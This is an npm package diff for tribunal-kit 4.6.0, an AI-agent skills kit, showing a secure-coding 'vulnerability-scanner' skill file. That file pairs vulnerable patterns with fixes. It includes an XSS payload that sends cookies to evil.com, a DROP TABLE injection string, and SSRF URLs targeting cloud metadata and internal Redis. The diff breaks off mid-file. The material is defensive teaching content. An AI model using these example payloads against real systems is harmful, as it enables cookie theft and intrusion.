tribunal-kit 4.5.0 → 4.6.0

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (217) hide show
  1. package/.agent/.shared/ui-ux-pro-max/README.md +4 -4
  2. package/.agent/ARCHITECTURE.md +279 -277
  3. package/.agent/GEMINI.md +127 -121
  4. package/.agent/agents/accessibility-reviewer.md +187 -187
  5. package/.agent/agents/ai-code-reviewer.md +199 -199
  6. package/.agent/agents/api-architect.md +71 -66
  7. package/.agent/agents/backend-specialist.md +219 -215
  8. package/.agent/agents/cloud-engineer.md +98 -0
  9. package/.agent/agents/code-archaeologist.md +168 -161
  10. package/.agent/agents/database-architect.md +184 -184
  11. package/.agent/agents/db-latency-auditor.md +213 -216
  12. package/.agent/agents/debugger.md +198 -191
  13. package/.agent/agents/dependency-reviewer.md +106 -103
  14. package/.agent/agents/devops-engineer.md +218 -218
  15. package/.agent/agents/documentation-writer.md +209 -201
  16. package/.agent/agents/explorer-agent.md +167 -160
  17. package/.agent/agents/frontend-reviewer.md +162 -160
  18. package/.agent/agents/frontend-specialist.md +257 -248
  19. package/.agent/agents/game-developer.md +48 -48
  20. package/.agent/agents/logic-reviewer.md +118 -116
  21. package/.agent/agents/mobile-developer.md +197 -200
  22. package/.agent/agents/mobile-reviewer.md +159 -162
  23. package/.agent/agents/orchestrator.md +187 -181
  24. package/.agent/agents/penetration-tester.md +160 -157
  25. package/.agent/agents/performance-optimizer.md +183 -183
  26. package/.agent/agents/performance-reviewer.md +178 -178
  27. package/.agent/agents/precedence-reviewer.md +251 -250
  28. package/.agent/agents/product-manager.md +149 -142
  29. package/.agent/agents/product-owner.md +81 -80
  30. package/.agent/agents/project-planner.md +152 -142
  31. package/.agent/agents/qa-automation-engineer.md +216 -225
  32. package/.agent/agents/resilience-reviewer.md +88 -88
  33. package/.agent/agents/schema-reviewer.md +67 -67
  34. package/.agent/agents/security-auditor.md +180 -174
  35. package/.agent/agents/seo-specialist.md +188 -193
  36. package/.agent/agents/sql-reviewer.md +159 -161
  37. package/.agent/agents/supervisor-agent.md +173 -184
  38. package/.agent/agents/swarm-worker-contracts.md +170 -166
  39. package/.agent/agents/swarm-worker-registry.md +92 -92
  40. package/.agent/agents/system-architect.md +85 -0
  41. package/.agent/agents/test-coverage-reviewer.md +158 -160
  42. package/.agent/agents/test-engineer.md +118 -118
  43. package/.agent/agents/throughput-optimizer.md +291 -299
  44. package/.agent/agents/type-safety-reviewer.md +182 -175
  45. package/.agent/agents/ui-ux-auditor.md +300 -292
  46. package/.agent/agents/vitals-reviewer.md +223 -223
  47. package/.agent/mcp_config.json +37 -40
  48. package/.agent/patterns/generator.md +11 -9
  49. package/.agent/patterns/inversion.md +14 -12
  50. package/.agent/patterns/pipeline.md +11 -9
  51. package/.agent/patterns/reviewer.md +15 -13
  52. package/.agent/patterns/tool-wrapper.md +11 -9
  53. package/.agent/routing_index.json +654 -0
  54. package/.agent/rules/GEMINI.md +358 -352
  55. package/.agent/scripts/compile_router.py +112 -0
  56. package/.agent/scripts/migrate_skills_frontmatter.py +64 -0
  57. package/.agent/scripts/strengthen_skills.js +1 -1
  58. package/.agent/skills/advanced-rag-pipelines/SKILL.md +56 -0
  59. package/.agent/skills/agent-organizer/SKILL.md +156 -150
  60. package/.agent/skills/agentic-patterns/SKILL.md +313 -315
  61. package/.agent/skills/ai-prompt-injection-defense/SKILL.md +190 -184
  62. package/.agent/skills/api-patterns/SKILL.md +253 -247
  63. package/.agent/skills/api-security-auditor/SKILL.md +195 -193
  64. package/.agent/skills/app-builder/SKILL.md +573 -572
  65. package/.agent/skills/app-builder/templates/SKILL.md +108 -115
  66. package/.agent/skills/app-builder/templates/astro-static/TEMPLATE.md +76 -76
  67. package/.agent/skills/app-builder/templates/chrome-extension/TEMPLATE.md +92 -92
  68. package/.agent/skills/app-builder/templates/cli-tool/TEMPLATE.md +88 -88
  69. package/.agent/skills/app-builder/templates/electron-desktop/TEMPLATE.md +88 -88
  70. package/.agent/skills/app-builder/templates/express-api/TEMPLATE.md +83 -83
  71. package/.agent/skills/app-builder/templates/flutter-app/TEMPLATE.md +90 -90
  72. package/.agent/skills/app-builder/templates/monorepo-turborepo/TEMPLATE.md +90 -90
  73. package/.agent/skills/app-builder/templates/nextjs-fullstack/TEMPLATE.md +126 -122
  74. package/.agent/skills/app-builder/templates/nextjs-saas/TEMPLATE.md +127 -122
  75. package/.agent/skills/app-builder/templates/nextjs-static/TEMPLATE.md +172 -169
  76. package/.agent/skills/app-builder/templates/nuxt-app/TEMPLATE.md +139 -134
  77. package/.agent/skills/app-builder/templates/python-fastapi/TEMPLATE.md +83 -83
  78. package/.agent/skills/app-builder/templates/react-native-app/TEMPLATE.md +122 -119
  79. package/.agent/skills/appflow-wireframe/SKILL.md +146 -145
  80. package/.agent/skills/architecture/SKILL.md +226 -219
  81. package/.agent/skills/authentication-best-practices/SKILL.md +197 -189
  82. package/.agent/skills/backend-security-expert/SKILL.md +16 -2
  83. package/.agent/skills/bash-linux/SKILL.md +179 -179
  84. package/.agent/skills/behavioral-modes/SKILL.md +239 -223
  85. package/.agent/skills/brainstorming/SKILL.md +498 -486
  86. package/.agent/skills/browser-native-ai/SKILL.md +57 -4
  87. package/.agent/skills/building-native-ui/SKILL.md +202 -202
  88. package/.agent/skills/cicd-pro/SKILL.md +442 -0
  89. package/.agent/skills/clean-code/SKILL.md +400 -381
  90. package/.agent/skills/cloud-architect/SKILL.md +439 -0
  91. package/.agent/skills/code-review-checklist/SKILL.md +203 -194
  92. package/.agent/skills/config-validator/SKILL.md +165 -165
  93. package/.agent/skills/containerization-pro/SKILL.md +452 -0
  94. package/.agent/skills/csharp-developer/SKILL.md +518 -518
  95. package/.agent/skills/data-validation-schemas/SKILL.md +333 -328
  96. package/.agent/skills/database-design/SKILL.md +247 -240
  97. package/.agent/skills/deployment-procedures/SKILL.md +172 -169
  98. package/.agent/skills/devops-engineer/SKILL.md +345 -345
  99. package/.agent/skills/devops-incident-responder/SKILL.md +143 -137
  100. package/.agent/skills/doc.md +209 -177
  101. package/.agent/skills/documentation-templates/SKILL.md +291 -279
  102. package/.agent/skills/edge-computing/SKILL.md +183 -181
  103. package/.agent/skills/error-resilience/SKILL.md +411 -428
  104. package/.agent/skills/extract-design-system/SKILL.md +160 -158
  105. package/.agent/skills/framer-motion-expert/SKILL.md +253 -244
  106. package/.agent/skills/frontend-design/SKILL.md +208 -201
  107. package/.agent/skills/frontend-security-expert/SKILL.md +16 -3
  108. package/.agent/skills/game-design-expert/SKILL.md +132 -129
  109. package/.agent/skills/game-engineering-expert/SKILL.md +148 -146
  110. package/.agent/skills/generative-ui-expert/SKILL.md +57 -1
  111. package/.agent/skills/geo-fundamentals/SKILL.md +148 -147
  112. package/.agent/skills/git-pro/SKILL.md +435 -0
  113. package/.agent/skills/github-operations/SKILL.md +335 -329
  114. package/.agent/skills/gsap-core/SKILL.md +319 -308
  115. package/.agent/skills/gsap-frameworks/SKILL.md +213 -207
  116. package/.agent/skills/gsap-performance/SKILL.md +139 -133
  117. package/.agent/skills/gsap-plugins/SKILL.md +486 -480
  118. package/.agent/skills/gsap-react/SKILL.md +202 -189
  119. package/.agent/skills/gsap-scrolltrigger/SKILL.md +357 -350
  120. package/.agent/skills/gsap-timeline/SKILL.md +165 -161
  121. package/.agent/skills/gsap-utils/SKILL.md +344 -338
  122. package/.agent/skills/harness-protocol/SKILL.md +48 -0
  123. package/.agent/skills/i18n-localization/SKILL.md +174 -163
  124. package/.agent/skills/intelligent-routing/SKILL.md +202 -246
  125. package/.agent/skills/knowledge-graph/SKILL.md +60 -52
  126. package/.agent/skills/lint-and-validate/SKILL.md +261 -261
  127. package/.agent/skills/llm-engineering/SKILL.md +400 -394
  128. package/.agent/skills/local-first/SKILL.md +178 -178
  129. package/.agent/skills/mcp-builder/SKILL.md +143 -142
  130. package/.agent/skills/mobile-design/SKILL.md +272 -263
  131. package/.agent/skills/monorepo-management/SKILL.md +335 -334
  132. package/.agent/skills/motion-engineering/SKILL.md +266 -234
  133. package/.agent/skills/nextjs-react-expert/SKILL.md +236 -234
  134. package/.agent/skills/nodejs-best-practices/SKILL.md +547 -548
  135. package/.agent/skills/observability/SKILL.md +343 -343
  136. package/.agent/skills/parallel-agents/SKILL.md +143 -146
  137. package/.agent/skills/performance-profiling/SKILL.md +259 -267
  138. package/.agent/skills/plan-writing/SKILL.md +150 -142
  139. package/.agent/skills/platform-engineer/SKILL.md +148 -147
  140. package/.agent/skills/playwright-best-practices/SKILL.md +188 -187
  141. package/.agent/skills/powershell-windows/SKILL.md +162 -162
  142. package/.agent/skills/project-idioms/SKILL.md +137 -137
  143. package/.agent/skills/python-patterns/SKILL.md +260 -259
  144. package/.agent/skills/python-pro/SKILL.md +324 -323
  145. package/.agent/skills/react-specialist/SKILL.md +305 -277
  146. package/.agent/skills/readme-builder/SKILL.md +310 -300
  147. package/.agent/skills/realtime-patterns/SKILL.md +323 -319
  148. package/.agent/skills/red-team-tactics/SKILL.md +231 -218
  149. package/.agent/skills/rust-pro/SKILL.md +671 -673
  150. package/.agent/skills/seo-fundamentals/SKILL.md +179 -179
  151. package/.agent/skills/server-management/SKILL.md +218 -214
  152. package/.agent/skills/shadcn-ui-expert/SKILL.md +231 -231
  153. package/.agent/skills/skill-creator/SKILL.md +87 -86
  154. package/.agent/skills/sql-pro/SKILL.md +629 -629
  155. package/.agent/skills/supabase-postgres-best-practices/SKILL.md +97 -97
  156. package/.agent/skills/swiftui-expert/SKILL.md +204 -201
  157. package/.agent/skills/system-design-pro/SKILL.md +345 -0
  158. package/.agent/skills/systematic-debugging/SKILL.md +153 -142
  159. package/.agent/skills/tailwind-patterns/SKILL.md +610 -566
  160. package/.agent/skills/tdd-workflow/SKILL.md +169 -161
  161. package/.agent/skills/test-result-analyzer/SKILL.md +313 -309
  162. package/.agent/skills/testing-patterns/SKILL.md +566 -579
  163. package/.agent/skills/trend-researcher/SKILL.md +243 -237
  164. package/.agent/skills/typescript-advanced/SKILL.md +336 -335
  165. package/.agent/skills/ui-ux-pro-max/SKILL.md +590 -562
  166. package/.agent/skills/ui-ux-researcher/SKILL.md +244 -244
  167. package/.agent/skills/vue-expert/SKILL.md +294 -275
  168. package/.agent/skills/vulnerability-scanner/SKILL.md +416 -404
  169. package/.agent/skills/web-accessibility-auditor/SKILL.md +219 -218
  170. package/.agent/skills/web-design-guidelines/SKILL.md +192 -186
  171. package/.agent/skills/webapp-testing/SKILL.md +167 -169
  172. package/.agent/skills/webgpu-performance/SKILL.md +56 -2
  173. package/.agent/skills/whimsy-injector/SKILL.md +346 -325
  174. package/.agent/skills/workflow-optimizer/SKILL.md +231 -229
  175. package/.agent/workflows/acf.md +141 -0
  176. package/.agent/workflows/api-tester.md +176 -151
  177. package/.agent/workflows/audit.md +150 -127
  178. package/.agent/workflows/brainstorm.md +134 -110
  179. package/.agent/workflows/changelog.md +140 -112
  180. package/.agent/workflows/create.md +168 -124
  181. package/.agent/workflows/debug.md +190 -165
  182. package/.agent/workflows/deploy.md +201 -180
  183. package/.agent/workflows/enhance.md +154 -128
  184. package/.agent/workflows/fix.md +136 -114
  185. package/.agent/workflows/generate.md +198 -183
  186. package/.agent/workflows/marathon.md +37 -11
  187. package/.agent/workflows/migrate.md +184 -160
  188. package/.agent/workflows/orchestrate.md +192 -168
  189. package/.agent/workflows/performance-benchmarker.md +135 -114
  190. package/.agent/workflows/plan.md +196 -173
  191. package/.agent/workflows/preview.md +103 -80
  192. package/.agent/workflows/refactor.md +192 -161
  193. package/.agent/workflows/review-ai.md +125 -101
  194. package/.agent/workflows/review.md +141 -116
  195. package/.agent/workflows/session.md +122 -94
  196. package/.agent/workflows/status.md +101 -79
  197. package/.agent/workflows/strengthen-skills.md +164 -138
  198. package/.agent/workflows/super-prompt.md +24 -0
  199. package/.agent/workflows/swarm.md +193 -179
  200. package/.agent/workflows/test.md +211 -189
  201. package/.agent/workflows/tribunal-backend.md +136 -105
  202. package/.agent/workflows/tribunal-database.md +122 -95
  203. package/.agent/workflows/tribunal-frontend.md +221 -96
  204. package/.agent/workflows/tribunal-full.md +129 -100
  205. package/.agent/workflows/tribunal-mobile.md +122 -95
  206. package/.agent/workflows/tribunal-performance.md +136 -110
  207. package/.agent/workflows/tribunal-speed.md +209 -183
  208. package/.agent/workflows/ui-ux-pro-max.md +145 -122
  209. package/README.md +107 -55
  210. package/bin/mcp-server.js +159 -0
  211. package/bin/tribunal-kit.js +105 -29
  212. package/bin/wrapper.js +16 -7
  213. package/mcp_config.json +9 -0
  214. package/package.json +94 -86
  215. package/scripts/changelog.js +4 -3
  216. package/scripts/validate-payload.js +6 -1
  217. package/scripts/postinstall.js +0 -127
@@ -1,408 +1,418 @@
1
- ---
2
- name: vulnerability-scanner
3
- description: Security vulnerability analysis mastery. OWASP Top 10 (2025), injection attacks (SQL, XSS, SSRF, command), authentication/authorization flaws, dependency vulnerabilities, secret scanning, CORS misconfiguration, supply chain attacks, and security headers. Use when auditing security, reviewing code for vulnerabilities, or hardening applications.
4
- allowed-tools: Read, Write, Edit, Glob, Grep
5
- version: 3.1.0
6
- last-updated: 2026-04-06
7
- applies-to-model: gemini-2.5-pro, claude-3-7-sonnet
8
- ---
9
-
10
- # Vulnerability Scanner — Security Analysis Mastery
11
-
12
- ---
13
-
14
- ## OWASP Top 10 (2025)
15
-
16
- ```
17
- A01 Broken Access Control → Missing authorization checks
18
- A02 Cryptographic Failures → Weak encryption, exposed secrets
19
- A03 Injection → SQL, XSS, command, LDAP
20
- A04 Insecure Design → Missing threat modeling
21
- A05 Security Misconfiguration Default credentials, verbose errors
22
- A06 Vulnerable Components Outdated dependencies
23
- A07 Authentication Failures Weak passwords, missing MFA
24
- A08 Data Integrity Failures Untrusted deserialization, missing SRI
25
- A09 Logging & Monitoring Failures No audit trail, alert blindness
26
- A10 SSRF Server-side request forgery
27
- ```
28
-
29
- ---
30
-
31
- ## Injection Attacks
32
-
33
- ### SQL Injection
34
-
35
- ```typescript
36
- // VULNERABLE: String interpolation in SQL
37
- const query = `SELECT * FROM users WHERE email = '${email}'`;
38
- // Attack: email = "'; DROP TABLE users; --"
39
-
40
- // SAFE: Parameterized queries
41
- const result = await db.query("SELECT * FROM users WHERE email = $1", [email]);
42
-
43
- // ✅ SAFE: ORM (Prisma, Drizzle)
44
- const user = await prisma.user.findUnique({ where: { email } });
45
-
46
- // HALLUCINATION TRAP: Template literals are NOT parameterized
47
- // db.query(`SELECT * FROM users WHERE id = ${id}`); ← VULNERABLE
48
- // ✅ db.query("SELECT * FROM users WHERE id = $1", [id]); ← SAFE
49
- ```
50
-
51
- ### XSS (Cross-Site Scripting)
52
-
53
- ```typescript
54
- // VULNERABLE: innerHTML with user input
55
- element.innerHTML = userComment;
56
- // Attack: userComment = "<script>document.location='https://evil.com?c='+document.cookie</script>"
57
-
58
- // SAFE: textContent (no HTML parsing)
59
- element.textContent = userComment;
60
-
61
- // React auto-escapes by default BUT:
62
- // VULNERABLE in React:
63
- <div dangerouslySetInnerHTML={{ __html: userInput }} /> // bypasses escaping
64
-
65
- // SAFE in React:
66
- <div>{userInput}</div> // auto-escaped
67
-
68
- // Content Security Policy (defense in depth)
69
- // Add HTTP header:
70
- // Content-Security-Policy: default-src 'self'; script-src 'self'; style-src 'self'
71
- ```
72
-
73
- ### SSRF (Server-Side Request Forgery)
74
-
75
- ```typescript
76
- // VULNERABLE: fetching user-provided URLs
77
- app.get("/proxy", async (req, res) => {
78
- const data = await fetch(req.query.url).then(r => r.text());
79
- res.send(data);
80
- });
81
- // Attack: url = "http://169.254.169.254/latest/meta-data/" (AWS metadata)
82
- // Attack: url = "http://localhost:6379/" (internal Redis)
83
-
84
- // ✅ SAFE: Allowlist of domains
85
- const ALLOWED_HOSTS = new Set(["api.example.com", "cdn.example.com"]);
86
-
87
- app.get("/proxy", async (req, res) => {
88
- const url = new URL(req.query.url as string);
89
- if (!ALLOWED_HOSTS.has(url.hostname)) {
90
- return res.status(403).json({ error: "Domain not allowed" });
91
- }
92
- // Additional: block private IP ranges
93
- const ip = await dns.resolve4(url.hostname);
94
- if (isPrivateIP(ip[0])) {
95
- return res.status(403).json({ error: "Private IP not allowed" });
96
- }
97
- const data = await fetch(url).then(r => r.text());
98
- res.send(data);
99
- });
100
- ```
101
-
102
- ---
103
-
104
- ## Authentication & Authorization
105
-
106
- ```typescript
107
- // JWT Best Practices
108
- import jwt from "jsonwebtoken";
109
-
110
- // SAFE: Specify algorithm explicitly
111
- const token = jwt.sign(payload, SECRET, {
112
- algorithm: "HS256", // explicit
113
- expiresIn: "15m", // short-lived access token
114
- issuer: "myapp",
115
- });
116
-
117
- // ✅ SAFE: Verify with explicit algorithms
118
- const decoded = jwt.verify(token, SECRET, {
119
- algorithms: ["HS256"], // MUST specify — prevents algorithm confusion attack
120
- issuer: "myapp",
121
- });
122
-
123
- // ❌ HALLUCINATION TRAP: jwt.verify() without algorithms option is VULNERABLE
124
- // ❌ jwt.verify(token, SECRET); ← accepts ANY algorithm including "none"
125
- // ✅ jwt.verify(token, SECRET, { algorithms: ["HS256"] });
126
-
127
- // Authorization: check BEFORE business logic
128
- app.delete("/api/posts/:id", async (req, res) => {
129
- const post = await getPost(req.params.id);
130
- if (!post) return res.status(404).json({ error: "Not found" });
131
-
132
- // Authorization check BEFORE delete
133
- if (post.authorId !== req.user.id && req.user.role !== "admin") {
134
- return res.status(403).json({ error: "Forbidden" });
135
- }
136
-
137
- await deletePost(post.id);
138
- res.status(204).send();
139
- });
140
- ```
141
-
142
- ---
143
-
144
- ## Dependency Security
145
-
146
- ```bash
147
- # Check for known vulnerabilities
148
- npm audit # built-in
149
- npx snyk test # Snyk (more comprehensive)
150
- npx socket check # Socket.dev (supply chain)
151
-
152
- # Auto-fix
153
- npm audit fix
154
-
155
- # lock file integrity
156
- # Commit package-lock.json / pnpm-lock.yaml
157
- # ✅ Use npm ci in CI (not npm install)
158
- # Pin exact versions for critical dependencies
159
- # ✅ Enable Dependabot or Renovate for auto-updates
160
- ```
161
-
162
- ```
163
- Supply chain attack vectors:
164
- 1. Typosquatting → "recat" instead of "react"
165
- 2. Maintainer hijack → compromised npm account
166
- 3. Dependency confusion → private package name exists on public registry
167
- 4. Malicious postinstall runs arbitrary code on npm install
168
- 5. Abandoned packages unmaintained, no security patches
169
-
170
- Defense:
171
- - Review new dependencies before adding
172
- - Use npm audit in CI (fail on high severity)
173
- - Pin versions, review lockfile diffs
174
- - Use --ignore-scripts for untrusted packages
175
- ```
176
-
177
- ---
178
-
179
- ## Security Headers
180
-
181
- ```typescript
182
- import helmet from "helmet";
183
-
184
- app.use(helmet()); // Sets secure defaults
185
-
186
- // Key headers set by helmet:
187
- // Content-Security-Policy → Controls resource loading
188
- // X-Content-Type-Options → Prevents MIME sniffing (nosniff)
189
- // X-Frame-Options → Prevents clickjacking (DENY)
190
- // Strict-Transport-Security Forces HTTPS (HSTS)
191
- // X-XSS-Protection Legacy XSS filter (deprecated, CSP is better)
192
- // Referrer-Policy Controls referrer header
193
-
194
- // CORS never wildcard in production
195
- app.use(cors({
196
- origin: ["https://myapp.com", "https://admin.myapp.com"],
197
- methods: ["GET", "POST", "PUT", "DELETE"],
198
- credentials: true,
199
- }));
200
-
201
- // ❌ HALLUCINATION TRAP: origin: "*" disables CORS protection entirely
202
- // ❌ cors({ origin: "*" }) ← allows any website to call your API
203
- // ✅ cors({ origin: ["https://myapp.com"] }) ← whitelist specific domains
204
- ```
205
-
206
- ---
207
-
208
- ## Secret Scanning
209
-
210
- ```
211
- Secrets that MUST be in environment variables:
212
- - Database connection strings
213
- - API keys (Stripe, SendGrid, etc.)
214
- - JWT signing secrets
215
- - OAuth client secrets
216
- - Encryption keys
217
-
218
- Detection tools:
219
- - git-secrets (pre-commit hook)
220
- - TruffleHog / detect-secrets (scan history)
221
- - GitHub secret scanning (automatic)
222
- - GitGuardian (enterprise)
223
-
224
- If a secret is committed:
225
- 1. IMMEDIATELY rotate the secret (new key/password)
226
- 2. Remove from git history (BFG Repo-Cleaner or git-filter-repo)
227
- 3. Force-push cleaned history
228
- 4. Audit access logs for the compromised secret
229
- 5. Post-incident review
230
- ```
231
-
232
- ---
233
-
234
- ---
235
-
236
- ## Security Checklists
237
-
238
- ---
239
-
240
- ### OWASP Top 10 Audit Checklist
241
-
242
- #### A01: Broken Access Control
243
- - [ ] Authorization on all protected routes
244
- - [ ] Deny by default
245
- - [ ] Rate limiting implemented
246
- - [ ] CORS properly configured
247
-
248
- #### A02: Cryptographic Failures
249
- - [ ] Passwords hashed (bcrypt/argon2, cost 12+)
250
- - [ ] Sensitive data encrypted at rest
251
- - [ ] TLS 1.2+ for all connections
252
- - [ ] No secrets in code/logs
253
-
254
- #### A03: Injection
255
- - [ ] Parameterized queries
256
- - [ ] Input validation on all user data
257
- - [ ] Output encoding for XSS
258
- - [ ] No eval() or dynamic code execution
259
-
260
- #### A04: Insecure Design
261
- - [ ] Threat modeling done
262
- - [ ] Security requirements defined
263
- - [ ] Business logic validated
264
-
265
- #### A05: Security Misconfiguration
266
- - [ ] Unnecessary features disabled
267
- - [ ] Error messages sanitized
268
- - [ ] Security headers configured
269
- - [ ] Default credentials changed
270
-
271
- #### A06: Vulnerable Components
272
- - [ ] Dependencies up to date
273
- - [ ] No known vulnerabilities
274
- - [ ] Unused dependencies removed
275
-
276
- #### A07: Authentication Failures
277
- - [ ] MFA available
278
- - [ ] Session invalidation on logout
279
- - [ ] Session timeout implemented
280
- - [ ] Brute force protection
281
-
282
- #### A08: Integrity Failures
283
- - [ ] Dependency integrity verified
284
- - [ ] CI/CD pipeline secured
285
- - [ ] Update mechanism secured
286
-
287
- #### A09: Logging Failures
288
- - [ ] Security events logged
289
- - [ ] Logs protected
290
- - [ ] No sensitive data in logs
291
- - [ ] Alerting configured
292
-
293
- #### A10: SSRF
294
- - [ ] URL validation implemented
295
- - [ ] Allow-list for external calls
296
- - [ ] Network segmentation
297
-
298
- ---
299
-
300
- ### Authentication Checklist
301
-
302
- - [ ] Strong password policy
303
- - [ ] Account lockout
304
- - [ ] Secure password reset
305
- - [ ] Session management
306
- - [ ] Token expiration
307
- - [ ] Logout invalidation
308
-
309
- ---
310
-
311
- ### API Security Checklist
312
-
313
- - [ ] Authentication required
314
- - [ ] Authorization per endpoint
315
- - [ ] Input validation
316
- - [ ] Rate limiting
317
- - [ ] Output sanitization
318
- - [ ] Error handling
319
-
320
- ---
321
-
322
- ### Data Protection Checklist
323
-
324
- - [ ] Encryption at rest
325
- - [ ] Encryption in transit
326
- - [ ] Key management
327
- - [ ] Data minimization
328
- - [ ] Secure deletion
329
-
330
- ---
331
-
332
- ### Security Headers
333
-
334
- |Header|Purpose|
335
- |--------|---------|
336
- |**Content-Security-Policy**|XSS prevention|
337
- |**X-Content-Type-Options**|MIME sniffing|
338
- |**X-Frame-Options**|Clickjacking|
339
- |**Strict-Transport-Security**|Force HTTPS|
340
- |**Referrer-Policy**|Referrer control|
341
-
342
- ---
343
-
344
- ### Quick Audit Commands
345
-
346
- |Check|What to Look For|
347
- |-------|------------------|
348
- |Secrets in code|password, api_key, secret|
349
- |Dangerous patterns|eval, innerHTML, SQL concat|
350
- |Dependency issues|npm audit, snyk|
351
-
352
- ---
353
-
354
- **Usage:** Copy relevant checklists into your PLAN.md or security report.
355
-
356
-
357
- ---
358
-
359
-
360
-
361
- AI coding assistants often fall into specific bad habits when dealing with this domain. These are strictly forbidden:
362
-
363
- 1. **Over-engineering:** Proposing complex abstractions or distributed systems when a simpler approach suffices.
364
- 2. **Hallucinated Libraries/Methods:** Using non-existent methods or packages. Always `// VERIFY` or check `package.json` / `requirements.txt`.
365
- 3. **Skipping Edge Cases:** Writing the "happy path" and ignoring error handling, timeouts, or data validation.
366
- 4. **Context Amnesia:** Forgetting the user's constraints and offering generic advice instead of tailored solutions.
367
- 5. **Silent Degradation:** Catching and suppressing errors without logging or re-raising.
368
-
369
- ---
370
-
371
-
372
-
373
- **Slash command: `/review` or `/tribunal-full`**
374
- **Active reviewers: `logic-reviewer` · `security-auditor`**
375
-
376
- ### ❌ Forbidden AI Tropes
377
-
378
- 1. **Blind Assumptions:** Never make an assumption without documenting it clearly with `// VERIFY: [reason]`.
379
- 2. **Silent Degradation:** Catching and suppressing errors without logging or handling.
380
- 3. **Context Amnesia:** Forgetting the user's constraints and offering generic advice instead of tailored solutions.
381
-
382
-
383
-
384
- Review these questions before confirming output:
385
- ```
386
- ✅ Did I rely ONLY on real, verified tools and methods?
387
- ✅ Is this solution appropriately scoped to the user's constraints?
388
- ✅ Did I handle potential failure modes and edge cases?
389
- ✅ Have I avoided generic boilerplate that doesn't add value?
390
- ```
391
-
392
- ### 🛑 Verification-Before-Completion (VBC) Protocol
393
-
394
- **CRITICAL:** You must follow a strict "evidence-based closeout" state machine.
395
- - ❌ **Forbidden:** Declaring a task complete because the output "looks correct."
396
- - ✅ **Required:** You are explicitly forbidden from finalizing any task without providing **concrete evidence** (terminal output, passing tests, compile success, or equivalent proof) that your output works as intended.
397
-
398
-
399
- ## Pre-Flight Checklist
400
- - [ ] Have I reviewed the user's specific constraints and requests?
401
- - [ ] Have I checked the environment for relevant existing implementations?
402
-
403
- ## VBC Protocol (Verification-Before-Completion)
404
- You MUST verify existing code signatures and variables before attempting to modify or call them. No hallucination is permitted.
1
+ ---
2
+ name: vulnerability-scanner
3
+ description: Security vulnerability analysis mastery. OWASP Top 10 (2025), injection attacks (SQL, XSS, SSRF, command), authentication/authorization flaws, dependency vulnerabilities, secret scanning, CORS misconfiguration, supply chain attacks, and security headers. Use when auditing security, reviewing code for vulnerabilities, or hardening applications.
4
+ allowed-tools: Read, Write, Edit, Glob, Grep
5
+ version: 3.1.0
6
+ last-updated: 2026-04-06
7
+ applies-to-model: gemini-2.5-pro, claude-3-7-sonnet
8
+ routing:
9
+ domain: general
10
+ tier: basic
11
+ ---
12
+
13
+ # Vulnerability Scanner — Security Analysis Mastery
14
+
15
+ ---
16
+
17
+ ## OWASP Top 10 (2025)
18
+
19
+ ```
20
+ A01 Broken Access Control → Missing authorization checks
21
+ A02 Cryptographic Failures Weak encryption, exposed secrets
22
+ A03 Injection SQL, XSS, command, LDAP
23
+ A04 Insecure Design Missing threat modeling
24
+ A05 Security Misconfiguration Default credentials, verbose errors
25
+ A06 Vulnerable Components Outdated dependencies
26
+ A07 Authentication Failures Weak passwords, missing MFA
27
+ A08 Data Integrity Failures → Untrusted deserialization, missing SRI
28
+ A09 Logging & Monitoring Failures → No audit trail, alert blindness
29
+ A10 SSRF → Server-side request forgery
30
+ ```
31
+
32
+ ---
33
+
34
+ ## Injection Attacks
35
+
36
+ ### SQL Injection
37
+
38
+ ```typescript
39
+ // ❌ VULNERABLE: String interpolation in SQL
40
+ const query = `SELECT * FROM users WHERE email = '${email}'`;
41
+ // Attack: email = "'; DROP TABLE users; --"
42
+
43
+ // ✅ SAFE: Parameterized queries
44
+ const result = await db.query("SELECT * FROM users WHERE email = $1", [email]);
45
+
46
+ // SAFE: ORM (Prisma, Drizzle)
47
+ const user = await prisma.user.findUnique({ where: { email } });
48
+
49
+ // ❌ HALLUCINATION TRAP: Template literals are NOT parameterized
50
+ // ❌ db.query(`SELECT * FROM users WHERE id = ${id}`); ← VULNERABLE
51
+ // db.query("SELECT * FROM users WHERE id = $1", [id]); ← SAFE
52
+ ```
53
+
54
+ ### XSS (Cross-Site Scripting)
55
+
56
+ ```typescript
57
+ // ❌ VULNERABLE: innerHTML with user input
58
+ element.innerHTML = userComment;
59
+ // Attack: userComment = "<script>document.location='https://evil.com?c='+document.cookie</script>"
60
+
61
+ // SAFE: textContent (no HTML parsing)
62
+ element.textContent = userComment;
63
+
64
+ // React auto-escapes by default — BUT:
65
+ // VULNERABLE in React:
66
+ <div dangerouslySetInnerHTML={{ __html: userInput }} /> // bypasses escaping
67
+
68
+ // SAFE in React:
69
+ <div>{userInput}</div> // auto-escaped
70
+
71
+ // Content Security Policy (defense in depth)
72
+ // Add HTTP header:
73
+ // Content-Security-Policy: default-src 'self'; script-src 'self'; style-src 'self'
74
+ ```
75
+
76
+ ### SSRF (Server-Side Request Forgery)
77
+
78
+ ```typescript
79
+ // ❌ VULNERABLE: fetching user-provided URLs
80
+ app.get("/proxy", async (req, res) => {
81
+ const data = await fetch(req.query.url).then((r) => r.text());
82
+ res.send(data);
83
+ });
84
+ // Attack: url = "http://169.254.169.254/latest/meta-data/" (AWS metadata)
85
+ // Attack: url = "http://localhost:6379/" (internal Redis)
86
+
87
+ // SAFE: Allowlist of domains
88
+ const ALLOWED_HOSTS = new Set(["api.example.com", "cdn.example.com"]);
89
+
90
+ app.get("/proxy", async (req, res) => {
91
+ const url = new URL(req.query.url as string);
92
+ if (!ALLOWED_HOSTS.has(url.hostname)) {
93
+ return res.status(403).json({ error: "Domain not allowed" });
94
+ }
95
+ // Additional: block private IP ranges
96
+ const ip = await dns.resolve4(url.hostname);
97
+ if (isPrivateIP(ip[0])) {
98
+ return res.status(403).json({ error: "Private IP not allowed" });
99
+ }
100
+ const data = await fetch(url).then((r) => r.text());
101
+ res.send(data);
102
+ });
103
+ ```
104
+
105
+ ---
106
+
107
+ ## Authentication & Authorization
108
+
109
+ ```typescript
110
+ // JWT Best Practices
111
+ import jwt from "jsonwebtoken";
112
+
113
+ // ✅ SAFE: Specify algorithm explicitly
114
+ const token = jwt.sign(payload, SECRET, {
115
+ algorithm: "HS256", // explicit
116
+ expiresIn: "15m", // short-lived access token
117
+ issuer: "myapp",
118
+ });
119
+
120
+ // ✅ SAFE: Verify with explicit algorithms
121
